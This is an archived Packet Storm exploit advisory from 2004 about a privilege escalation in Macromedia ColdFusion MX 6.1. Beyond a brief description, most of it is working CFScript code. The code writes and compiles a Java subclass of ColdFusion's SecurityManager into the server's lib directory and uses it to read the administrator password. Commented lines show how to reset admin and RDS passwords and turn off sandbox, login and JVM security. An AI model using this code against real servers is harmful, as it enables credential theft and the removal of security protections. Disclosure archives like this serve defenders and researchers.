exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

coldfusionmx61.txt

coldfusionmx61.txt
Posted Oct 7, 2004
Authored by Eric Lackey

There is a vulnerability in ColdFusion MX 6.1 when a user can create a cold fusion template on a ColdFusion server with CreateObject or cfobject tags enabled.

tags | exploit
SHA-256 | b35cc809e881359da234ac0dce6ce8d8cc7a7743cecbf5078cdcc0b3ca19a324

coldfusionmx61.txt

Change Mirror Download
Software: Macromedia ColdFusion MX 6.1

Description:
There is a vulnerability in the ColdFusion MX 6.1 product. To exploit
this, a user needs access to create a cold fusion template on a
ColdFusion server with CreateObject or cfobject tags enabled. The
code given below writes a java class to the ColdFusion lib directory
which allows writing by default. This code compiles the java file,
but there are other ways to write the class file if the compiler class
is not available. Once the class is written, it can be accessed by CF
and all methods exposed. A user can do a variety of things like
getting the administrator password. Code and examples are given
below.

Platform Tested: Windows/Linux

Version Tested: ColdFusion MX 6.1

<cfscript>

objFileWriter = CreateObject("java","java.io.FileWriter");

objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");

objJavaC = CreateObject("java","sun.tools.javac.Main");

objString = CreateObject("java","java.lang.String");

objFile = CreateObject("java","java.io.File");

if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }

strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";

strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";

strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";

strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";

fileWriter = objFileWriter.init("#strJavaSource#",false);

fileWriter.write("import coldfusion.security.SecurityManager;");

fileWriter.write("import java.io.File;");

fileWriter.write("public class SecurityExploit extends SecurityManager {");

fileWriter.write("public SecurityExploit(File arg0, File arg1) {");

fileWriter.write("super(arg0, arg1); }");

fileWriter.write("public boolean isAdminSecurityEnabled(){");

fileWriter.write("return false;}}");

fileWriter.flush();

fileWriter.close();

str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");

strArr = str.split(",");

byteArray = objByteArray.init();

compileObj =objJavaC.init(byteArray,str);

compileObj.compile(strArr);

obj = CreateObject("java","SecurityExploit");

file1 = objFile.init("#strNeoSecFile#");

file2 = objFile.init("#strPasswdFile#");

obj.init(file1,file2);

obj.load();

</cfscript>

<cfscript>

// Get Administrator Password

strAdminPw = obj.getAdminPassword();

// Set Administrator Password

//obj.setAdminPassword("test123");


// Turn off Sandbox Security

//obj.setSandboxSecurityEnabled(false);


// Turn off Administrator Login

//obj.setAdminSecurityEnabled(false);


// Turn off RDS Login

//obj.setRdsSecurityEnabled(false);


// Set RDS Password

//obj.setRdsPassword("test123");


// Turn off JVM Security

//obj.setJvmSecurityEnabled(false);

</cfscript>

<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close